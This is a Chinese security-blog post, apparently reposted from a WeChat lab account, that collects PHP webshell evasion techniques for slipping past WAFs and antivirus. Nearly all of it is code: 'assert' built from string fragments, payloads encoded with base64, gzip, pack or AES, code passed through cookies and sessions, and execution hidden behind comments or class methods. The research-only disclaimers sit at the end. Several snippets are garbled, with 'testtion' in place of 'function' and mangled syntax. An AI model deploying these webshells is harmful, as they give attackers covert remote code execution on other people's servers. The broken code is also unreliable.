PHP马作为最常用的上马方式之一,各类waf对其的防护与检测也在不断完善。但是PHP作为一门动态语言,其灵活性很高,刚好最近整理了一些PHP免杀方法,下面来分享一下。
字符串拼接
<?php
$test = $_GET["test"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test"];
$c($test);
?>
Base64
<?php
$test = base64_decode($_GET["test"]);
#cGhwaW5mbygp
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);
?>
函数绕过
gzcompress()
<?php
$test = gzuncompress(base64_decode($_GET["test"]));
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);
?
pack()
$test=pack("H14","706870696e666f");
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);
openssl_encrypt
<?php
$key = "password";
$test = openssl_decrypt($_GET['test'], 'AES-128-ECB', $key, 0);
#加密数据test的值可以通过openssl_encrypt获取
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c($test);
传参绕过
Cookie
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c(base64_decode($_COOKIE["PHPSESSID"]));
?>
通过burp抓包修改PHPSESSID即可
Session
<?php
session_start();
$_SESSION['test']=base64_decode($_COOKIE["PHPSESSID"]);
?>
<?php
session_start();
$a = "a";
$s = "s";
$c=$a.$s."sert";
$c($_SESSION['test']);
?>
注释和空白符绕过
<?php
$test = $_GET["test"];
$a = "a";
$s = "s";
$c=$a.$s.$_GET["test2"];
$c(//);//(
$test//);//);
)
?>
类方法调用
printf("hello world!");<?php
class a{
testtion demo(){
$a = "a";
$s = "s";
$c=$a.$s."sert";
return $c;
}
}
$s = new a();
$s->demo()($_GET[1]);
类的静态方法
<?php
class a{
static testtion demo(){
$a = "a";
$s = "s";
$c=$a.$s."sert";
return $c;
}
}
a::demo()($_GET[1]);
长风实验室发布、转载的文章中所涉及的技术、思路和工具,仅供以网络安全为目的的学习交流使用,不得用作它途。部分文章来源于网络,如有侵权请联系删除。
END
推荐
阅读
点赞在看
扫码关注|更多好玩
长风实验室 ·
原文始发于微信公众号(长风实验室):PHP WebShell 免杀分享
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论